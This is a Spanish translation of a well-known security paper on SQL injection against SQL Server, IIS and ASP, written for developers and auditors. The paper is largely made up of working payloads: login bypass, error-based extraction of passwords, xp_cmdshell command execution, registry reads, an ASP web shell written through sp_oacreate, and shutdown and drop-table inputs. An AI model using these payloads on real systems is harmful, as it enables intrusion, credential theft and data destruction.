neofito

     Traduccion de "Advanced SQL Injection"  

Original: http://www.nextgenss.com/papers/advanced_sql_injection.pdf

Inyección SQL Avanzada en Aplicaciones para Servidores SQL

[Resumen]

Este documento explica en detalle la conocida técnica de la 'Inyección SQL', y la aplica a la popular plataforma Servidor SQL/Microsoft Internet Information Server/Active Server Pages. Muestra las diferentes formas con las que puede 'inyectarse' SQL en una aplicación y detalla algunas de las técnicas de validación y a aplicar en el servidor para evitar este tipo de ataques.

Este paper esta destinado a los desarrolladores de aplicaciones web que se comunican con bases de datos y a los profesionales en el campo de la seguridad cuyas funciones incluyen el proceso de auditar este tipo de aplicaciones.


[Introducción]

El Structured Query Language ('SQL') es un lenguaje de texto utilizado para interactuar con bases de datos relacionales. Existen diferentes variantes de SQL; La mayoría de los dialectos de uso común en la actualidad estan basados en SQL-92, el standard ANSI más reciente. La unidad fundamental de ejecución en SQL es la 'consulta', la cual está formada por una colección de sentencias que, básicamente, devuelven un único resultado. Las sentencias SQL pueden modificar la estructura de la base de datos (utilizando sentencias Data Definition Language, o 'DDL') y manipular los contenidos (utilizando sentencias Data Manipulation Language, o 'DML'). En este paper utilizaremos específicamente el Transact-SQL, el dialecto de SQL utilizado por el servidor Microsoft SQL.

Por inyección SQL entendemos el acto de insertar una serie de sentencias SQL en una 'consulta' mediante la manipulación de la entrada de datos de una aplicación.

Una sentencia SQL típica sería algo como esto:

Código:

select id, nombre, apellido from autores


Esta sentencia devolvería las columnas 'id', 'nombre' y 'apellido' de todas las filas de la tabla 'autores'. Para restringir el resultado obtenido a un autor específico utilizaríamos:

Código:

select id, nombre, apellido from autores where nombre = 'john'
and apellido = 'smith'


Un punto importante a destacar aquí es que las cadenas literales 'john' y 'smith' aparecen delimitadas por comillas simples. Si imaginamos que el 'nombre' y el 'apellido' son obtenidos como respuesta a la entrada de datos por parte del usuario, un atacante podría inyectar SQL en esta consulta solicitando los siguientes valores a la aplicación:

Código:

Nombre: jo'hn
Apellido: smith


La cadena de consulta quedaría así:

Código:

select id, nombre, apellido from autores where nombre = 'jo'hn' and
apellido = 'smith';


Cuando la base de datos intente ejecutar esta consulta es muy probable que devuelva el siguiente error:

Código:

Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'hn'.


La razón es que la inserción de un único caracter de comilla simple escapa los datos delimitados por las comillas simples. La base de datos trata entonces de ejecutar 'hn' y se obtiene un error. Si el atacante introduce una cadena similar a esta:

Código:

Nombre: jo' ; drop table autores--
Apellido:


...incluso podría borrar la tabla autores .

Es fácil suponer que eliminando las comillas simples de la entradas o escapándolas de alguna forma se solucionaría este problema. Esto es cierto, pero existen varias dificultades que impedirán utilizar este método como la solución definitiva. Primero, no todos los datos proporcionados por el usuario estarán en forma de cadena. Si por ejemplo, puede seleccionarse un autor por su 'id' (presumiblemente un número), nuestra
consulta podría ser algo como esto:

Código:

select id, nombre, apellido from autores where id = 1234


En este caso el atacante puede simplemente anexar una sentencia SQL al final de la entrada numérica. En otros dialectos SQL se utilizan distintos delimitadores; en el motor Jet DBMS de Microsoft, por ejemplo, los datos pueden delimitarse con el carácter '#'. Por ello el método de 'escapar' las comillas simples no resulta necesariamente la solución definitiva que pensamos en un primer momento.

Ilustraremos todos estos detalles utilizando para ello una página de login de ejemplo desarrollada en ASP, la cual accederá a una base de datos SQL simulando el mecanismo de autentificación de una aplicación ficticia.

Este será el código del formulario de la página, en el cual el cliente deberá introducir el nombre de usuario y la contraseña:

Código:

<HTML>
<HEAD>

<TITLE>Página de Login</TITLE>
</HEAD>

<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>

<CENTER><H1>Login</H1>

<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>Usuario:</TD><TD><INPUT type=text name=usuario size=100%
width=100></INPUT></TD></TR>
<TR><TD>Contrase&ntilde;a:</TD><TD><INPUT type=password name=password size=100%
width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Enviar'> <INPUT type=reset value='Borrar'>
</FORM>

</FONT>
</BODY>
</HTML>


Y este será el código para el script 'process_login.asp', el cual maneja el intento de autentificación:

Código:

<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>

<STYLE>
      p { font-size=20pt ! important}
      font { font-size=20pt ! important}
      h1 { font-size=64pt ! important}
</STYLE>

<%@LANGUAGE = JScript %>

<%

function trace( str )
{
      if( Request.form("debug") == "true" )
          Response.write( str );
}

function Login( cn )
{
      var username;
      var password;

      username = Request.form("usuario");
      password = Request.form("password");

      var rso = Server.CreateObject("ADODB.Recordset");

      var sql = "select * from users where username = '" + usuario + "'
      and password = '" + password + "'";

      trace( "query: " + sql );

      rso.open( sql, cn );

      if (rso.EOF)
      {
           rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACESO DENEGADO</CENTER>
</H1>
</BODY>
</HTML>
<%

           Response.end return;
      }
      else
      {
           Session("usuario") = "" + rso("usuario");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACESO PERMITIDO
<BR>
<BR>
Bienvenido,
<%         
           Response.write(rso("Usuario"));
           Response.write( "</BODY></HTML>" );
           Response.end
      }
}
function Main()
{
      //Set up connection

      var usuario
      var cn = Server.createobject( "ADODB.Connection" );
      cn.connectiontimeout = 20;
      cn.open( "localserver", "sa", "password" );

      usuario = new String( Request.form("usuario") );

      if( username.length > 0)
      {
           Login( cn );
      }

      cn.close();
}

Main();
%>



He aquí la parte crítica de 'process_login.asp' en la cual se crea la 'cadena de consulta':

Código:

var sql = "select * from users where username = '" + usuario + "'
and password = '" + password + "'";


Si el usuario introduce lo siguiente:

Código:

Usuario: ' ; drop table usuarios--
Password:


...borrará la tabla usuarios, denegando el acceso a la aplicación al resto de los usuarios. La secuencia de carácteres '--' se corresponde, en Transcat-SQL, con el inicio de un 'comentario de una sola línea' y el carácter ';' denota el final de una sentencia y el comienzo de otra. El '--' al final del campo de usuario es necesario para evitar que la consulta termine sin provocar un error.

El atacante podrá autentificarse como cualquier usuario, si conoce el nombre de alguna persona dada de alta en la aplicación, utilizando la siguiente entrada:

Código:

Usuario: admin' --


El atacante se estaría autentificando como el primer usuario de la tabla 'usuarios' con la siguiente entrada:

Código:

Usuario: ' or 1 = 1--


...y, por extraño que parezca, el atacante podrá autentificarse como un usuario inexistente utilizando lo siguiente:

Código:

Usuario: ' union select 1, 'usuario_ficticio', 'cualquier_contraseña', 1--


El motivo por el que la anterior sentencia funcionará es debido a que la fila
'constante' que el atacante está especificando será parte del registro recuperado de la base de datos.


[Obteniendo información mediante los Mensajes de Error]

Esta técnica fué descubierta por David Litchfield y el autor de este paper en el curso
de un test de penetración; David escribió posteriormente un documento describiendo esta
técnica [1] y diferentes autores han referenciado más tarde su trabajo. Esta sección
describe el mecanismo subyacente a la técnica del 'mensaje de error', esperando que el
lector pueda entenderla y potencialmente crear variaciones propias.

Con el objetivo de manipular los datos de una base de datos el atacante deberá primero determinar la estructura de determinadas tablas y bases de datos. Por ejemplo, la tabla 'usuarios' podría haber sido creada utilizando el siguiente comando:

Código:

create table usuarios{
   id int,
        usuario varchar(255),
   password varchar(255),
   privs int
}


...y se habrían introducido los siguientes usuarios:

Código:

insert into usuarios values (0, 'admin', 'r00tr0x!', 0xffff);
insert into usuarios values (0, 'guest', 'guest', 0x0000);
insert into usuarios values (0, 'chris', 'password', 0x00f);
insert into usuarios values (0, 'fred', 'sesamo', 0x00f);


Imaginemos que nuestro atacante desea crearse una cuenta de usuario. Sin conocer la estructura de la tabla 'usuarios' es bastante improbable que lo consiga. Aún teniendo suerte, el significado del campo 'privs' no está del todo claro. El atacante podría insertar un '1' y obtener una cuenta con escasos privilegios en la aplicación cuando lo que quería era facilitarse el acceso con privilegios administrativos.

Afortunadamente para el atacante si la aplicación devuelve mensajes de error (el comportamiento predeterminado de ASP) podrá determinar la estructura completa de la base de datos y leer cualquier valor que pueda ser obtenido por la aplicación ASP utilizada para conectar con el servidor SQL.

(El siguiente ejemplo utiliza la base de datos y los scripts .asp de ejemplo para mostrar como funciona esta técnica).

Primero, el atacante querrá determinar los nombres de las tablas utilizadas en las consultas y los nombres de los campos. Para hacerlo el atacante utilizará la clausula 'having' de la sentencia 'select':

Código:

Usuario: ' having 1= 1--


Esto provocará el siguiente error:

Código:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'usuarios.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.

/process_login.asp, line 35


Ahora el atacante ya conoce el nombre de la tabla y la primera columna de la consulta. Podrá averigüar el resto de columnas introduciendo cada uno de los campos que vaya descubriendo en una clasula 'group by' como la siguiente:

Código:

Usuario: ' group by usuarios.id having 1 = 1--


(la cual producirá el siguiente error...)

Código:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'usuarios.usuario'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.

/process_login.asp, line 35


Posteriomente el atacante llegará al campo 'usuario':

Código:

' group by usuarios.id, usuarios.usuario, usuarios.password, usuarios.privs
having 1=1--


...lo cual no producirá error alguno y es funcionalmente equivalente a:

Código:

select * from usuarios where usuario = ''


Ahora el atacante conoce que la consulta está utilizando únicamente la tabla 'usuarios' y las columnas 'id, usuario, password, privs', en este orden.

Sería útil si pudiese determinar el tipo de cada una de las columnas. Esto podrá obtenerse utilizando un mensaje de error provocado por una 'conversión de tipo', con algo parecido a esto:

Código:

Usuario: ' union select sum(usuario) from usuarios--


La sentencia anterior se aprovecha de que el servidor SQL intentará aplicar la clausula 'sum' antes de determinar si el número de campos en las dos filas es equivalente. El intento de calcular la suma de un campo de texto provocará el siguiente mensaje:

Código:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.

/process_login.asp, line 35


...lo cual indica que el campo 'usuario' es de tipo 'varchar'. Si, por otra parte, intentamos calcular la suma de un tipo numérico obtendríamos un mensaje de error indicando que el número de campos de las dos filas no coincide:

Código:

Usuario: ' union select sum(id) from usuarios--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL
statement containing a UNION operator must have an equal number of
expressions in their target lists.

/process_login.asp, line 35


Podremos utilizar esta técnica para determinar de forma aproximada el tipo de cualquier columna de cualquier tabla de la base de datos:

Esto permitirá al atacante crear una consulta 'insert' correcta, similar a la siguiente:

Código:

usuario: '; insert into usuarios values (666, 'atacante', 'foobar', 0xffff)--


Sin embargo, el potencial de esta técnica no acaba aquí. El atacante podrá aprovecharse de cualquier mensaje de error que revele información sobre el entorno de la base de datos. Puede obtenerse una lista de las cadenas de formato correspondientes a los mensajes de error ejecutando:

Código:

select * from master..sysmessages


Examinando la lista descubriremos mensajes muy interesantes.

Un mensaje especial muy útil revela la conversión de tipo. Si usted intenta convertir una cadena en un entero el contenido completo de la cadena es devuelto en el mensaje de error. En nuestra página de login de ejemplo el siguiente nombre de usuario devolverá la versión del servidor SQL y el sistema operativo en el cual se está ejecutando:

Código:

Usuario: ' union select @@version,1,1,1--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of
data type int.

/process_login.asp, line 35


Esto intentará convertir la constante '@@version' en un entero dado que la primera
columna de la tabla 'usuarios' es un entero.

Esta técnica puede utilizarse para leer cualquier valor en cualquier tabla de la base de datos. Dado que el atacante está interesado en los usuarios y sus contraseñas podrá utilizarla para obtener los nombres de usuarios de la tabla 'usuarios' con algo como:

Código:

Usuario: ' union select min(usuario),1,1,1 from usuarios where usuario > 'a'--


Esto seleccionará el nombre de usuario inmediatamente superior a 'q' e intentará covertirlo en un entero:

Código:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.

/process_login.asp, line 35


En este momento el atacante sabe que existe una cuenta 'admin'. Ahora podrá iterar a través de las filas de la tabla utilizando cada nuevo usario que descubra en la clausula 'where':

Código:

usuario: ' union select min(usuario),1,1,1 from usuarios where usuario > 'admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int.

/process_login.asp, line 35


Una vez el atacante conozca los nombres de usuario podrá empezar a obtener sus contraseñas:

Código:

Usuario: ' union select password,1,1,1 from usuarios where usuario = 'admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int.

/process_login.asp, line 35


Una técnica más elegante consiste en concatenar todos los nombres de usuario y contraseñas en una única cadena e intentar entonces convertirla en un entero. Esto se aprovecha de otra característica: las sentencias Transact-SQL pueden introducirse en una misma línea sin por ello alterar su significado. El siguiente script concatenará los valores:

Código:

begin declare @ret varchar(8000)
set @ret=':'
select @ret = @ret+' '+usuario+'/'+password from usuarios where
usuario > @ret
select @ret as ret into foo
end


El atacante utilizará entonces el siguiente 'usuario' (todo en una línea, obviamente):

Código:

Usuario: '; begin declare @ret varchar(8000) set @ret = ':' select
@ret = @ret+' '+usuario+'/'+password from usuarios where usuario > @ret
select @ret as ret into foo end--


Esto creará una tabla 'foo' la cual contendrá una única columna 'ret' y situará nuestra cadena en ella. Normalmente aunque se trate de un usuario con escasos privilegios será capaz de crear una tabla en una base de datos de ejemplo, o en una tabla temporal.

El atacante seleccionará entonces la cadena de la tabla utilizando:

Código:

Usuario: ' union select ret,1,1,1 from foo--

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ': admin/r00tr0x! guest/guest chris/password
fred/sesamo' to a column of data type int.

/process_login.asp, line 35


Y se las arreglará para borrarla:

Código:

usuario: '; drop table foo--


Estos ejemplos apenas muestran un ínfima parte de las posibilidades de esta técnica. No hay ni que mencionar que, si el atacante puede obtener información útil de los mensajes de error de la base de datos, su trabajo sera obviamente más sencillo.


[Proporcionándose acceso continuado]

Una vez el atacante tenga el control de la base de datos, normalmente intentará proporcionarse acceso continuado a través de la red. Esto podrá lograrse de diferentes formas:

1. Utilizando el procedimiento almacenado xp_cmdshell para ejecutar comandos en el servidor SQL como el usuario SQL.

2. Utilizando el procedimiento almacenado xp_regread para leer claves del registro incluyendo, potencialmente, la SAM (si el servidor SQL está ejecutándose bajo la cuenta local system).

3. Utilizando otros procedimientos almacenados para dominar el servidor.

4. Ejecutando consultas en servidores enlazados.

5. Creando procedimientos almacenados persoalizados para ejecutar código maligno desde el proceso del servidor SQL.

6. Utilizando la sentencia 'bulk insert' para leer cualquier archivo del servidor.

7. Utilizando bcp para crear archivos de texto arbitrario en el servidor.

8. Utilizando los procedimientos almacenados sp_OACreate, sp_OAMethod y sp_OAGetProperty para crear aplicaciones de código OLE (ActiveX) que puedan hacer todo aquello que le esté permitido al script ASP.

Estos son algunos de las técnicas de atque más comunes; es muy posible que un intruso utilice cualquiera otra. Presentamos estas técnicas como una colección de ataques relativamente obvios contra el servidor SQL, para mostrar las implicaciones de la posibilidad de inyección de código SQL. Nos ocuparemos ahora de cada uno de los posibles ataques mencionados.


[xp_cmdshell]

Los procedimientos almacenados estan básicamente compilados como Dinamic Link Libraries (DLLs) que el servidor SQL utiliza mediante llamadas específicas para ejecutar funciones exportadas. De esta forma las aplicaciones del servidor SQL pueden utilizar la potencia de C/C++ para ofrecer útiles características. Un gran número de estos procedimientos almacenados los proporciona el propio servidor SQL
y realizan funciones variadas como enviar correos e interactuar con el registro.

xp_cmdshell es un procedimiento almacenado incorporado en el servidor y que permite ejecutar líneas arbitrarias de comandos. Por ejemplo:

Código:

exec master..xp_cmdshell 'dir'


obtendrá un listado del actual directorio de trabajo del proceso del servidor SQL y

Código:

exec master..xp_cmdsehll 'net1 user'


proporcionará una lista de todos los usuarios del sistema. Dado que el servidor se ejecuta normalmente bajo la cuenta de 'local system', o usuario del dominio' un atacante podrá obtener un gran provecho de esta característica.


[xp_regread]

Otra útilisimo conjunto de procedimientos almacenados incorporados en el servidor son las
funciones xp_regXXX,

xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

Algunos ejemplos del uso de estas funciones:

Código:

exec xp_regread HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'


(determina si se permiten las sesiones nulas en el servidor)

Código:

exec xp_regenumvalues HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'


(revelará todas las comunidades SMNP configuradas en el servidor. Con esta información un atacante probablemente podrá obtener las características de configuración en el segmento de red, dado que las comunidades SNMP tienden a ser raramente modificadas y compartidas entre varios equipos).

Es fácil imaginar como un atacante podría utilizar estas funciones para leer la SAM, cambiar la configuración de un servicio del sistema de forma que se inicie la proxima vez que la máquina sea reiniciada o ejecutar un comando arbitrario cuando algún usuario se autentifique en el servidor.


[otros procedimientos almacenados]

El procedimiento xp_servicecontrol permite a un usuario iniciar, parar y reiniciar servicios:

Código:

exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'


He aquí una breve lista de otros procedimientos almacenados que podrían resultar de utilidad:

xp_availablemedia muestra los dispositivos disponibles en el sistema.

xp_dirtree permite obtener un listado de un árbol de directorios.

xp_enumdsn enumera las fuentes de datos disponibles ODBC en el servidor.

xp_loginconfig muestra información sobre el modelo de seguridad del servidor.

xp_makecab permite a un usuario crear archivos comprimidos en el servidor (o cualquier fichero al que el servidor pueda acceder).

xp_ntsec_enumdomains enumera los dominios a los que puede acceder el servidor.
xp_terminate_process finaliza un proceso, proporcionándosele su PID.


[Servidore enlazados]

El servidor SQL proporciona un mecanismo mediante el cual permite 'enlazar' otros servidores, esto es, permite efectuar una consulta en un servidor para manipular los datos en otro. Estos enlaces estan almacenados en la tabla master..sysservers. Si se ha agregado un enlace a un servidor utilizando el procedimiento 'sp_adlinkedsrvlogin', se habrá creado un enlace previamente autentificado a través del cual podrá accederse sin necesidad de realizar login alguno. La función 'openquery' permitirá ejecutar las consultas en el servidor enlazado.


[Procedimientos almacenados personalizados]

El API para los procedimientos almacenados es relativamente sencilla por lo que no resultará dificil crear un procedimiento almacenado como una DLL que incorpore código malicioso. Existen diversos métodos que
permitirán subir esta DLL al servidor SQL mediante líneas de comandos y los que precisan de otros mecanismos de comunicación como descargas HTTP y scripts FTP.

Una vez se haya subido la DLL a una máquina a la que el servidor SQL pueda acceder - no tiene necesariamente que ser el propio servidor SQL - el atacante podrá agregar el nuevo procedimiento utilizando el siguiente
comando (en este caso nuestro procedimiento malicioso consiste en un pequeño troyano que exportará los sistemas de ficheros a través de un servidor web):

Código:

sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'


A partir de este momento podrá ejecutarse el procedimiento almacenado en la forma habitual:

Código:

exec xp_webserver


Una vez haya sido ejecutado podrá eliminarse así:

Código:

sp_dropextendedproc 'xp_webserver'



[Importando ficheros de texto en tablas]

Utilizando la sentecia 'bulk insert' es posible insertar el texto de un fichero en una tabla temporal. Simplemente se deberá crear la tabla tal que así:

Código:

create table foo( line varchar(8000) )


...y ejecutar entonces un bulk insert para importar los datos desde el archivo:

Código:

bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'


...podrán obtenerse los datos utilizando cualquiera de las técnicas de mensajes de error desarrolladas anteriormente, o mediante una 'union' de sentencias select, combinando el contenido del fichero de texto con los datos que son devueltos de forma habitual por la aplicación. Esto puede resultar útil para obtener el código de los scripts almacenados en el servidor de la base de datos o, posiblemente, para obtener el código de las páginas ASP.


[Creando ficheros de texto utilizando BCP]

Resulta relativamente sencillo crear ficheros de texto arbitrarios utilizando la técnica opuesta al 'bulk insert'. Desgraciadamente esto requiere un herramienta de línea de comandos, 'bcp'.

Dado que bcp accede a la base de datos desde fuera del proceso del servidor SQl necesita autentificación. Esto no resultará dificil dado que el atacante podrá crearse uno sin dificultad, o aprovecharse del modelo de seguridad 'integrado' si el servidor lo tuviera configurado.

El formato de la línea de comandos necesaria sería así:

Código:

bcp "SELECT * FROM test..fo" queryout C:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar


El parámetro 'S' indica el servidor en el que se deberá ejecutar la consulta, la 'U' el nombre de usuario y la 'P' es la contraseña, 'foobar' en este caso.


[Scripts ActiveX para la automatización en el servidor SQL]

La mayoría de procedimientos almacenados han sido integrados para permitir la creacion de scripts ActiveX de automatización en el servidor SQL. Estos scripts son funcionalmente similares a aquellos creados utilizando windows scripting host o ASP - estan normalmente escritos en VBScript o JavaScript y proporcionan objetos que permiten la automatización e interactuar con ella. Un script de automatización escrito en Transact-SQL podrá hacer todo aquello que un script ASP o WSH pueda hacer. A continuación proporcionaremos algunos ejemplos para facilitar la comprensión de nuestras palabras.

1)En este ejemplo utiliza el objeto 'wscript.shell' para crear una instancia del notepad (que por supuesto podría sustituirse por cualquier otro comando):

Código:

-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'


En el escenario propuesto podría ejecutarse especificando el siguiente usuario (todo en una única línea):

Código:

Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--


2) En este ejemplo utiliza el objeto 'scripting.filesystemobject' para leer un archivo de texto conocido:

Código:

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
 exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
   print @line
   exec @ret = sp_oamethod @f, 'readline', @line out
end


3)En este ejemplo se crea un script ASP que puede ejecutar cualquier comando que reciba a través de la cadena de consulta:

Código:

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out,
'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
   '<% set o = server.createobject("wscript.shell"): o.run(
request.querystring("cmd") ) %>'


Es importante destacar que cuando se utilice en una platraforma IIS4 en un sistema Windows NT4, los comandos lanzados por este script ASP se ejecutaran bajo la cuenta 'system'. Sin embargo, en un IIS5 lo haran bajo la escasamente privilegiada cuenta de IWAM_xxx.

4) En este ejemplo (algo poco útil) se muestra la flexibilidad de esta técnica; se utiliza el objeto 'speech.voicetext' provocando que el servidor SQL hable:

Código:

declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'todos tus servidores
nos pertenecen', 528
waitfor delay '00:00:05'


Esto podría ejecutarse en el escenario propuesto especificando el siguiente usuario (note que en el ejemplo no solo se está inyectando código SQL sino que paralelamente nos estremos autentificando en la aplicación como 'admin'):

Código:

Usuario: admin'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed'
 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528
waitfor delay '00:00:05'--




[Procedimientos almacenados]

La creencia general es que si una aplicación ASP utiliza procedimientos almacenados
en la base de datos entonces la inyección SQL no es posible. Esto es una verdad a
medias y dependerá de la forma en la que el script ASP llame a dichos procedimientos.

Básicamente, si se ejcuta una solicitud parametrizando los datos indicados por el usuario antes de pasarselos al procedimiento almacenado entonces la inyección SQL sería imposible. Si embargo si el atacante puede imprimir una cierta influencia sobre las partes que no constituyan los datos propiamente dichos de la cadena de consulta a utilizar, es muy posible que llegue a ser capaz de adquirir el control sobre la base de datos.

Las reglas generales son:

Si el script ASP crea la cadena de consulta que es enviada al servidor SQL este es vulnerable a la inyección SQL aúnque se utilicen procedimientos almacenados.

Si el script ASP utiliza un objeto que realice la asignación de parámetros al procedimiento almacenado (como el objeto ADODB utilizado con una colección de parámetros) estará generalmente, a salvo, siempre dependiendo de la implementación de los objetos que se utilicen.

Obviamente la mejor solución pasa siempre por validar los datos proporcionados por el
usuario, dado que diariamente se descubren nuevas técnicas.

Como muestra de una cadena de inyección a un procedimiento almacenado ejecute la siguiente consulta SQL:

Código:

sp_who '1' select * from sysobjects


ó

Código:

sp_who '1'; select * from sysobjects


De una u otra form la consulta anexada seguirá ejecutándose después del procedimiento
almacenado.


[Inyección SQL avanzada]

A menudo las aplicaciones web escaparán el carácter de comilla simple (u otros) y controlarán los datos enviados por el usuario por ejemplo, limitando su tamaño.

En esta sección le mostraremos algunas técnicas que ayudará al atacante a burlar algunos de los muchos métodos de defensa frente a la inyección SQL y que evitará su registro la mayoría de las veces.


[Cadenas sin comillas]

Ocasionalmente los dessarrolladores intentarán proteger sus aplicaciones escapando los carácteres de comillas simples, quizás utilizando la función 'replace' de VBScript o alguna similar:

Código:

function escape( input )
    input = replace(input, "'", "''")
    escape = input
end function


Admitámoslo, esto prevendrá la mayoría de los ataques que hemos expuesto hasta el momento con nuestro sitio de ejemplo. Sin embargo en grandes aplicaciones es fácil suponer que en algún momento se deberá proporcionar datos de tipo numérico. Estos valores no precisan delimitadores y estarían proporcionando un punto en el que el atacante podría inyectar código SQL.

Si el atacante quisiera crear una cadena sin utilizar comillas podría utilizar la función char. Por ejemplo:

Código:

insert into users values( 666,
   char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
   char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
   0xffff)


...esta es una consulta que sin utilizar comillas permitiría insertar cadenas en una tabla.

De acuerdo, si al atacante no le importase utilizar un usuario y contraseña numéricos la siguiente sentencia le resultaría de utilidad:

Código:

insert into users values( 667, 123, 123, 0xffff)


Dado que el servidor SQL convertirá de forma automática los enteros en valores 'varchar' el tipo de conversión es implícita.


[Inyección SQL mediante reutilización de datos]

Aunque una aplicación escapase las comillas simples un atacante podría inyectar código SQL siempre que el servidor reutilizase los datos.

Por ejemplo, un atacante podría registrarse en la aplicación creando el siguiente usuario

Código:

usuario: admin'--
Password: password


La aplicación escaparía correctamente la comilla simple resultando una sentencia insertcomo la siguiente:

Código:

insert into users values( 123, 'admin''--', 'password', 0xffff )


Sin embargo todos sabemos que la mayoría de aplicaciones permiten al usuario modificar su contraseña. El script ASP se asegurará primero de que la vieja contraseña sea la adecuada. El código podría ser algo así:

Código:

usuario = escape( Request.form("usuario") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );

var rso = Server.CreateObject("ADODB.Recordset");

var sql = "select * from usuarios where usuario = '" + usuario + "' and
password = '" + oldpassword + "'";

rso.open( sql, cn );

if (rso.EOF)
{



La consulta para establecer la nueva contraseña quedaría:

Código:

sql = "update users set password = '" + newpassword + "' where usuario
= '" + rso("usuario") + "'"


rso("usuario") es el nombre de usuario obtenido de la sentencia de autentificación.

Proporcionando el usuario admin'-- la consulta quedaría:

Código:

update users set password = 'password' where usuario = 'admin'--'


El atacante podría ahora cambiar la contraseña del administrador por una de su propia elección únicamente registrándose como un usuario de nombre admin'--.

Este es un peligroso problema presente en la mayoría de aplicaciones que intentan escapar los datos. La mejor solución sería devolver cualquier entrada incorrecta en lugar de simplemente intentar modificarla. Esto puede resultar problemático, dado que en algunas ocasiones los carácteres peligrosos resultan necesarios como (por ejemplo) en el caso de los nombres con apóstrofos; por ejemplo

O'Brien

Desde la perspectiva de la seguridad la major forma de solucionar esto es simplemente asumir que las comillas simples no estan permitidas. Si esto no es posible deberemos escaparlas; en este caso lo mejor es asegurarse que todos los datos que conformen la cadena de consulta SQL (incluyendo los datos obtenidos de la base de datos) son manejados correctamente.

Este tipo de ataques es incluso posible si el atacante puede introducir datos en el sistema sin necesidad de utilizar la aplicación; la aplicación tal vez tenga una interfaz para manejar el correo eléctronico, o quizás un archivo de registro de errores sobre el que el atacante pueda ejercer algun tipo de control. Es mejor verificar todos los datos, incluyendo los datos que esten en el sistema - la función que realice la validación debe ser simple de utilizar, por ejemplo

Código:

if ( not isValid( "email", request.querystring("email") ) then
   response.end


...o algo similar.


[Restricciones de tamaño]

Algunas veces el tamaño asignado para los datos de entrada estará restringido de forma que dificulte los ataques; aunque esto restrinja un gran número de ataques aún podrá hacerse un gran daño utilizando pequeñas consultas SQL. Por ejemplo el usuario

Código:

Usuario: ';shutdown--



...provocará el apagado de la instancia del servidor SQL, utilizando únicamente 12 carácteres para su entrada. Otro ejemplo sería

Código:

drop table <nombretabla>


Otro problema inherente a la limitación del tamaño de los datos sucede cuando dicha limitación es aplicada después de que la cadena haya sido escapada. Si el nombre de usuario está limitado a (por ejemplo) 16 carácteres igual que la contraseña, la siguiente combinación de usuario/contraseña seguirá ejecutando el comando 'shutdown' mencionado anteriormente:

Código:

Usuario: aaaaaaaaaaaaaaa'
Password: '; shutdown--


